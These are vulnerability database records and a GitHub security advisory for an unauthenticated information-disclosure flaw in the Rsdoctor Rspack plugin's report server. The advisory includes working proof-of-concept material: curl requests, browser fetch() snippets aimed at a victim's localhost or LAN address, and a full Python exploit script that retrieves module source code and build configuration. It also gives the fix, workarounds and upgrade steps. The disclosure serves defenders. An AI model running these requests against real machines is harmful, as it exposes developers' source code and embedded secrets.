{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T08:40:34.306727+00:00",
  "id": "EUVD-2026-377899"
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "rsdoctor",
          "vendor": "web-infra-dev",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.5.16"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Rsdoctor is a build analyzer tailored for projects built with Rspack. Prior to version 1.5.16, the default Rsdoctor report HTTP server started by `@rsdoctor/rspack-plugin` binds to all network interfaces (`0.0.0.0`) and serves a `POST /api/data/key` endpoint with no authentication and wildcard CORS (`Access-Control-Allow-Origin: *`). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (`moduleCodeMap`), serialized build configuration (`configs`), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer. Version 1.5.16 patches the issue."
    }
  ],
  "id": "CVE-2026-61782",
  "lastModified": "2026-09-30T19:57:08.043",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-61782",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-29T02:59:04.166140Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-24T18:17:16.333",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/web-infra-dev/rsdoctor/security/advisories/GHSA-jmg2-rcxh-w8q3"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/web-infra-dev/rsdoctor/security/advisories/GHSA-jmg2-rcxh-w8q3"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.15"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@rsdoctor/rspack-plugin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T19:42:10Z",
    "nvd_published_at": "2026-09-24T18:17:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe default Rsdoctor report HTTP server started by `@rsdoctor/rspack-plugin` binds to all network interfaces (`0.0.0.0`) and serves a `POST /api/data/key` endpoint with no authentication and wildcard CORS (`Access-Control-Allow-Origin: *`). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (`moduleCodeMap`), serialized build configuration (`configs`), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.\n\n### Details\n\n**Root cause: server binds to all interfaces with no authentication and no key allowlist.**\n\nThe vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:\n\n**1. Server binds to `0.0.0.0` (all interfaces)**\n\n`packages/utils/src/build/server.ts:107` calls `server.listen(port, callback)` without a `host` argument. Node.js defaults to `0.0.0.0`, exposing the server on every network interface of the developer\u0027s machine, including LAN interfaces.\n\n```ts\n// packages/utils/src/build/server.ts:83,107\nserver.listen(port, () =\u003e {   // no host \u2192 0.0.0.0\n  resolve(res);\n});\n```\n\n**2. Wildcard CORS enabled unconditionally**\n\n`packages/sdk/src/sdk/server/index.ts:106` applies `cors()` middleware with no origin restriction, and `:203\u2013204` additionally sets `Access-Control-Allow-Origin: *` explicitly on every API response, allowing cross-origin browser requests from any domain.\n\n```ts\n// packages/sdk/src/sdk/server/index.ts:106\nthis.app.use(cors());\n// :203\nres.setHeader(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027);\nres.setHeader(\u0027Access-Control-Allow-Credentials\u0027, \u0027true\u0027);\n```\n\n**3. `POST /api/data/key` registered with no authentication middleware**\n\n`packages/sdk/src/sdk/server/apis/data.ts:6` registers the route via `@Router.post`. There is no authentication guard, token check, or session validation anywhere in the middleware chain.\n\n```ts\n// packages/sdk/src/sdk/server/apis/data.ts:6,13,29\n@Router.post(SDK.ServerAPI.API.LoadDataByKey)\npublic async loadDataByKey() {\n  let { key } = req.body as SDK.ServerAPI.InferRequestBodyType\u003cSDK.ServerAPI.API.LoadDataByKey\u003e;\n  const data = await this.loadData(key);\n  return data;\n}\n```\n\n**4. `key` is passed to `getStoreData()` without an allowlist**\n\n`packages/sdk/src/sdk/server/apis/base.ts:29\u201339` indexes the entire SDK data store directly using the attacker-controlled `key`, including dot-path traversal for nested keys.\n\n```ts\n// packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36\nconst data = this.ctx.sdk.getStoreData();\nlet res = data[key];\nif (key.includes(sep)) {\n  res = key.split(sep).reduce((t, k) =\u003e t[k], data);\n}\nreturn res;\n```\n\n**Source-to-sink data flow:**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `packages/rspack-plugin/src/plugin.ts:111` | Plugin bootstraps the SDK server during build |\n| 2 | `packages/core/src/inner-plugins/utils/config.ts:98,110\u2013115` | `disableClientServer` defaults to `false`; server starts in all non-CI builds |\n| 3 | `packages/utils/src/build/server.ts:83,107` | HTTP server created and bound to `0.0.0.0` |\n| 4 | `packages/sdk/src/sdk/server/index.ts:106,203` | Wildcard CORS applied unconditionally |\n| 5 | `packages/sdk/src/sdk/server/apis/data.ts:6,13,29` | Attacker `key` accepted from request body |\n| 6 | `packages/sdk/src/sdk/server/apis/base.ts:29,36,39` | `key` indexes `sdk.getStoreData()` with no allowlist |\n| 7 | `packages/sdk/src/sdk/sdk/index.ts:487,491` | `moduleCodeMap` getter calls `_moduleGraph.toCodeData()` |\n| 8 | `packages/graph/src/graph/module-graph/graph.ts:464\u2013469` | `toCodeData()` returns all module source objects |\n| 9 | `packages/graph/src/graph/module-graph/module.ts:248\u2013250` | Each module exposes `source`, `transformed`, and `parsedSource` |\n| 10 | `packages/sdk/src/sdk/server/router.ts:119,125` | Serialized result written to HTTP response |\n\n**Default configuration ensures source code is captured:**\n\n`packages/core/src/inner-plugins/utils/config.ts` shows that `noModuleSource`, `noAssetsAndModuleSource`, and `noCode` all default to `false`, causing `normalizeReportType` to return `SDK.ToDataType.Normal`. This means module source code is stored in the SDK data store by default and retrievable via the `moduleCodeMap` key.\n\n### PoC\n#### Original PoC\n**Environment setup:**\n\n```bash\n# Create and enter a temporary project directory\nmkdir /tmp/rsdoctor-poc \u0026\u0026 cd /tmp/rsdoctor-poc\npnpm init\n\n# Install the vulnerable version\npnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11\n\n# Create a source file embedding a secret\nmkdir src\ncat \u003e src/index.js \u003c\u003c\u0027EOF\u0027\nconst INTERNAL_API_KEY = \u0027rsdoctor-secret-marker-123\u0027;\nconsole.log(INTERNAL_API_KEY);\nEOF\n\n# Create rspack config with the Rsdoctor plugin (default settings)\ncat \u003e rspack.config.js \u003c\u003c\u0027EOF\u0027\nconst { RsdoctorRspackPlugin } = require(\u0027@rsdoctor/rspack-plugin\u0027);\nmodule.exports = {\n  mode: \u0027development\u0027,\n  entry: \u0027./src/index.js\u0027,\n  output: { path: __dirname + \u0027/dist\u0027, filename: \u0027bundle.js\u0027 },\n  plugins: [new RsdoctorRspackPlugin()]\n};\nEOF\n\n# Run rspack \u2014 the Rsdoctor HTTP server starts automatically\npnpm rspack -c rspack.config.js\n# Note the printed port, e.g.: http://\u003clan-ip\u003e:3717/index.html\n```\n\n**Exploit (from any host on the same LAN, no authentication):**\n\n```bash\n# Primary probe: exfiltrate all module source code\ncurl -s \"http://\u003cvictim-lan-ip\u003e:\u003cport\u003e/api/data/key\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"key\":\"moduleCodeMap\"}\u0027\n# Response: full source code of every compiled module, including secrets\n```\n\n**Expected response (excerpt):**\n\n```json\n{\n  \"...\": \"...\",\n  \"source\": \"const INTERNAL_API_KEY = \u0027rsdoctor-secret-marker-123\u0027;\\nconsole.log(INTERNAL_API_KEY);\\n\",\n  \"...\": \"...\"\n}\n```\n\n**Secondary probe: exfiltrate build configuration and local paths:**\n\n```bash\ncurl -s \"http://\u003cvictim-lan-ip\u003e:\u003cport\u003e/api/data/key\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"key\":\"configs\"}\u0027\n# Response: 9,278 bytes of serialized build configuration including absolute file paths\n```\n\n**Automated PoC (Docker-based, self-contained reproduction):**\n\nThe Docker-based reproduction builds and starts the vulnerable project inside a container, then executes `poc.py` to confirm source code exfiltration. The PoC embeds the marker string `rsdoctor-vuln-001-secret-EXFIL-abc123` in the compiled source and asserts its presence in the unauthenticated API response:\n\n```\n============================================================\nVULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak\n============================================================\n[*] Detected Rsdoctor server on port: 3717 (after 3s)\n[*] Running PoC exploit against http://127.0.0.1:3717 ...\n[*] Target URL  : http://127.0.0.1:3717/api/data/key\n[*] Payload     : {\"key\": \"moduleCodeMap\"}\n[*] Auth header : (none)\n[+] HTTP status  : 200\n[+] Response size: 738 bytes\n[+] SECRET MARKER FOUND IN RESPONSE: \u0027rsdoctor-vuln-001-secret-EXFIL-abc123\u0027\n[+] Context around secret:\n    ...NEVER be able to read this content via an unauthenticated HTTP API.\nconst RSDOCTOR_SECRET_MARKER = \"rsdoctor-vuln-001-secret-EXFIL-abc123\";\nconsole.log(RSDOCTOR_SECRET_MARKER);\nmodule.exports = { secret: RSDOCTOR_SECRET_MARKER };\n...\n[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API\n[+] Secondary probe (key=configs) status: 200, size: 9,278 bytes\n```\n\n**Recommended patch:**\n\n```diff\n--- a/packages/utils/src/build/server.ts\n+++ b/packages/utils/src/build/server.ts\n-export async function createServer(port: number): Promise\u003c{\n+export async function createServer(\n+  port: number,\n+  host = \u0027127.0.0.1\u0027,\n+): Promise\u003c{\n-    server.listen(port, () =\u003e {\n+    server.listen(port, host, () =\u003e {\n       resolve(res);\n     });\n```\n\n```diff\n--- a/packages/sdk/src/sdk/server/index.ts\n+++ b/packages/sdk/src/sdk/server/index.ts\n   public get host(): string {\n-    const host = getLocalIpAddress();\n-    return host;\n+    return \u0027127.0.0.1\u0027;\n   }\n-    this._server = await Server.createServer(port);\n+    this._server = await Server.createServer(port, this.host);\n-    this.app.use(cors());\n-          res.setHeader(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027);\n-          res.setHeader(\u0027Access-Control-Allow-Credentials\u0027, \u0027true\u0027);\n```\n\n#### Minimal browser-based PoC\n\nA malicious website can also attempt to read data from a local Rsdoctor report server by sending a browser request to `127.0.0.1` or `localhost`.\n\n```js\nfetch(\u0027http://127.0.0.1:\u003crsdoctor-port\u003e/api/data/key\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\n    \u0027Content-Type\u0027: \u0027application/json\u0027,\n  },\n  body: JSON.stringify({\n    key: \u0027moduleCodeMap\u0027,\n  }),\n})\n  .then((res) =\u003e res.json())\n  .then(console.log);\n```\n\nIf the report server is reachable over the local network, an attacker may also target the victim machine\u0027s LAN address:\n\n```js\nfetch(\u0027http://\u003cvictim-lan-ip\u003e:\u003crsdoctor-port\u003e/api/data/key\u0027, {\n  method: \u0027POST\u0027,\n  headers: {\n    \u0027Content-Type\u0027: \u0027application/json\u0027,\n  },\n  body: JSON.stringify({\n    key: \u0027moduleCodeMap\u0027,\n  }),\n})\n  .then((res) =\u003e res.json())\n  .then(console.log);\n```\n\nIn affected versions, the response may contain sensitive build metadata or compiled module source code.\n\n### Impact\n\nThis is an **unauthenticated remote information disclosure** vulnerability. Any attacker who can reach the developer\u0027s machine over the network (LAN, VPN, shared Wi-Fi, corporate network) can retrieve:\n\n- **Full JavaScript source code** of every module compiled during the build, including any secrets, API keys, or proprietary business logic embedded in the source (`moduleCodeMap`)\n- **Serialized build configuration**, including absolute local file paths, resolver settings, and plugin configurations (`configs`)\n- **Build errors** that may contain stack traces with internal paths (`errors`)\n- **Environment information** (`envinfo`)\n\nThe server is started automatically whenever a developer runs a build with the Rsdoctor plugin outside of a CI environment (`disableClientServer` defaults to `false`). No user interaction or special configuration is required from the victim. A single unauthenticated HTTP POST request is sufficient to exfiltrate all module source code.\n\nImpacted parties include individual developers and organizations whose developers run Rsdoctor on machines connected to any shared or semi-trusted network, and any CI system that runs Rsdoctor in a non-CI-detected environment.\n\n### Patched Behavior\n\nThe patched version changes the report server\u0027s default security model:\n\n- The report server binds to `127.0.0.1` by default.\n- Default CORS no longer allows arbitrary origins.\n- Default CORS only allows local origins such as `localhost`, `*.localhost`, `127.0.0.1`, and `[::1]`.\n- Passing a partial CORS object preserves the default local-origin protection.\n- HTTP requests are rejected when the request host is not allowed.\n- The report WebSocket requires a per-server token.\n- The report UI receives the tokenized socket URL through runtime report data and uses that URL to connect.\n\n### Upgrade Path\n\nUpgrade Rsdoctor packages to the patched version:\n\n```bash\npnpm add -D @rsdoctor/rspack-plugin@^1.5.16\n```\n\nMost users do not need additional configuration after upgrading.\n\n### CORS Configuration Behavior\n\nThe patched version aligns Rsdoctor\u0027s CORS behavior with a safer default model. In particular, partial CORS options no longer drop the default local-origin protection.\n\n| User configuration `server.cors` | Effective CORS behavior |\n| --- | --- |\n| `undefined` | Enables CORS for default local origins only |\n| `false` | Disables CORS middleware |\n| `true` | Uses `cors({})`; effectively allows arbitrary origins and is not recommended |\n| `{ credentials: true }` | Keeps default local origins and adds `credentials: true` |\n| `{ origin: \u0027https://example.com\u0027 }` | Allows only the configured origin |\n| `{ origin: \u0027*\u0027 }` | Allows arbitrary origins and is not recommended |\n| `{ origin: false }` | Does not set `Access-Control-Allow-Origin` |\n| `{ origin: fn }` | Uses the custom origin function |\n| `{ origin: /regex/ }` | Uses the custom regular expression |\n\n#### Recommended configuration\n\nFor most users, leave `server.cors` unset:\n\n```js\nnew RsdoctorRspackPlugin();\n```\n\nIf another local development frontend needs to access the report server, configure an exact origin:\n\n```js\nnew RsdoctorRspackPlugin({\n  server: {\n    cors: {\n      origin: \u0027http://localhost:3000\u0027,\n      credentials: true,\n    },\n  },\n});\n```\n\nAvoid permissive CORS configuration:\n\n```js\nnew RsdoctorRspackPlugin({\n  server: {\n    cors: true,\n  },\n});\n```\n\n```js\nnew RsdoctorRspackPlugin({\n  server: {\n    cors: {\n      origin: \u0027*\u0027,\n    },\n  },\n});\n```\n\nThese configurations explicitly opt out of the safer default CORS behavior.\n\n### Breaking Changes\n\nThe patched version intentionally tightens the report server\u0027s access model.\n\n#### 1. The report server is local-only by default\n\nThe report server is no longer intended to be accessed from arbitrary LAN hosts or remote machines by default.\n\nIf your workflow depended on opening the Rsdoctor report server from another device on the network, that workflow may stop working after upgrading. The recommended approach is to access the report from the same machine that started the build, or to use generated static report output instead of exposing the development report server.\n\n#### 2. Cross-origin access is restricted by default\n\nWeb pages from non-local origins can no longer read report server responses by default.\n\nIf you have a trusted local integration, configure the exact allowed origin through `server.cors.origin`.\n\n#### 3. Custom WebSocket clients must use the tokenized socket URL\n\nThe report WebSocket now requires a per-server token.\n\nCustom clients must not construct the socket URL manually, for example:\n\n```js\nnew WebSocket(\u0027ws://localhost:\u003cport\u003e\u0027);\n```\n\nInstead, they must use the tokenized socket URL provided by the report runtime data.\n\n#### 4. `server.cors: true` remains an explicit opt-out\n\n`server.cors: true` uses the default behavior of the `cors` middleware and is effectively permissive. This behavior is kept for compatibility, but it is not recommended for untrusted environments.\n\n## Workarounds\n\nIf upgrading immediately is not possible, users can reduce exposure by disabling the report server:\n\n```js\nnew RsdoctorRspackPlugin({\n  disableClientServer: true,\n});\n```\n\nAdditional mitigations:\n\n- Do not expose the report server port to untrusted networks.\n- Do not use `server.cors: true`.\n- Do not use `server.cors.origin: \u0027*\u0027`.\n- Run builds only in trusted local environments.\n- Block external access to the report server port with firewall rules.\n\nThese workarounds do not fully address every attack path. Upgrading to a patched version is recommended.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n# Vulnerability: Unauthenticated HTTP API exposes project source code\n# Package: @rsdoctor/rspack-plugin@1.5.11\n# Endpoint: POST /api/data/key  (no auth required)\n# CWE-200 / CVSS 7.5 High\n\nFROM node:24-slim\n\n# Install Python3 (for poc.py)\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends python3 \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\n# Install pnpm (version required by rsdoctor monorepo engine spec)\nRUN corepack enable \u0026\u0026 corepack prepare pnpm@10.33.4 --activate\n\n# \u2500\u2500 Vulnerable project setup \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /poc\n\n# Minimal package.json\nRUN echo \u0027{\"name\":\"rsdoctor-poc\",\"version\":\"1.0.0\",\"private\":true}\u0027 \u003e package.json\n\n# Install the vulnerable plugin version and rspack peer dependency\nRUN pnpm add -D \\\n    \"@rspack/core@^2.0.8\" \\\n    \"@rspack/cli@^2.0.8\" \\\n    \"@rsdoctor/rspack-plugin@1.5.11\"\n\n# Copy the project source tree (contains a secret marker)\nCOPY project/ /poc/\n\n# Provide a stub xdg-open so the \u0027open\u0027 npm package does not trigger an\n# uncaughtException (ENOENT) that would kill the Rsdoctor HTTP server before\n# the PoC can connect.\nRUN printf \u0027#!/bin/sh\\nexit 0\\n\u0027 \u003e /usr/bin/xdg-open \u0026\u0026 chmod +x /usr/bin/xdg-open\n\n# \u2500\u2500 PoC and entrypoint \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCOPY poc.py /poc.py\nCOPY entrypoint.sh /entrypoint.sh\nRUN chmod +x /entrypoint.sh\n\nENTRYPOINT [\"/entrypoint.sh\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated HTTP API exposes project source code\nvia /api/data/key in @rsdoctor/rspack-plugin@1.5.11\n\nAffected endpoint: POST /api/data/key\nNo authentication required. Sending {\"key\":\"moduleCodeMap\"} returns\nthe full source code of all compiled modules.\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nCVSS v3.1: 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\"\"\"\nimport sys\nimport json\nimport urllib.request\nimport urllib.error\n\nSECRET_MARKER = \"rsdoctor-vuln-001-secret-EXFIL-abc123\"\nREQUEST_TIMEOUT = 15\n\n\ndef exploit(port: int) -\u003e bool:\n    \"\"\"\n    Send unauthenticated POST /api/data/key with key=moduleCodeMap.\n    Returns True if secret marker is found in the response (PASS).\n    \"\"\"\n    url = f\"http://127.0.0.1:{port}/api/data/key\"\n    print(f\"[*] Target URL  : {url}\")\n    print(f\"[*] Payload     : {{\\\"key\\\": \\\"moduleCodeMap\\\"}}\")\n    print(f\"[*] Auth header : (none)\")\n    print(f\"[*] Secret text : {SECRET_MARKER}\")\n    print()\n\n    payload = json.dumps({\"key\": \"moduleCodeMap\"}).encode(\"utf-8\")\n    req = urllib.request.Request(\n        url,\n        data=payload,\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n\n    try:\n        with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:\n            body = resp.read().decode(\"utf-8\", errors=\"replace\")\n            status = resp.status\n    except urllib.error.HTTPError as exc:\n        print(f\"[-] HTTP error: {exc.code} {exc.reason}\")\n        return False\n    except urllib.error.URLError as exc:\n        print(f\"[-] Connection error: {exc.reason}\")\n        return False\n\n    print(f\"[+] HTTP status  : {status}\")\n    print(f\"[+] Response size: {len(body):,} bytes\")\n\n    if SECRET_MARKER in body:\n        print(f\"[+] SECRET MARKER FOUND IN RESPONSE: {SECRET_MARKER!r}\")\n        print()\n        # Show the surrounding context (first 300 chars around the marker)\n        idx = body.index(SECRET_MARKER)\n        start = max(0, idx - 100)\n        end = min(len(body), idx + len(SECRET_MARKER) + 100)\n        snippet = body[start:end].replace(\"\\\\n\", \"\\n\")\n        print(f\"[+] Context around secret:\")\n        print(f\"    ...{snippet}...\")\n        print()\n        print(\"[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API\")\n        return True\n    else:\n        print(\"[-] Secret marker NOT found in response\")\n        print(f\"[-] Response preview (first 500 bytes): {body[:500]!r}\")\n        print(\"[FAIL] Could not confirm source code leakage\")\n        return False\n\n\ndef probe_configs(port: int) -\u003e None:\n    \"\"\"Secondary probe: check if build configs/paths are also exposed.\"\"\"\n    url = f\"http://127.0.0.1:{port}/api/data/key\"\n    payload = json.dumps({\"key\": \"configs\"}).encode(\"utf-8\")\n    req = urllib.request.Request(\n        url,\n        data=payload,\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n    try:\n        with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:\n            body = resp.read().decode(\"utf-8\", errors=\"replace\")\n            print(f\"[+] Secondary probe (key=configs) status: {resp.status}, size: {len(body):,} bytes\")\n    except Exception as exc:\n        print(f\"[*] Secondary probe (key=configs) failed: {exc}\")\n\n\ndef main() -\u003e None:\n    if len(sys.argv) != 2:\n        print(f\"Usage: {sys.argv[0]} \u003cport\u003e\")\n        sys.exit(1)\n\n    try:\n        port = int(sys.argv[1])\n    except ValueError:\n        print(f\"[-] Invalid port: {sys.argv[1]!r}\")\n        sys.exit(1)\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak\")\n    print(\"=\" * 60)\n\n    success = exploit(port)\n    print()\n    probe_configs(port)\n\n    sys.exit(0 if success else 2)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-jmg2-rcxh-w8q3",
  "modified": "2026-09-24T19:42:10Z",
  "published": "2026-09-24T19:42:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/web-infra-dev/rsdoctor/security/advisories/GHSA-jmg2-rcxh-w8q3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61782"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-infra-dev/rsdoctor/pull/1744"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-infra-dev/rsdoctor/pull/1758"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-infra-dev/rsdoctor/commit/602eb306a49b6d19c4c1ea9d8ee0f8caab9e208f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-infra-dev/rsdoctor/commit/e9aaef21f85becfe43a46f716509f41ea5edeb40"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/web-infra-dev/rsdoctor"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata"
}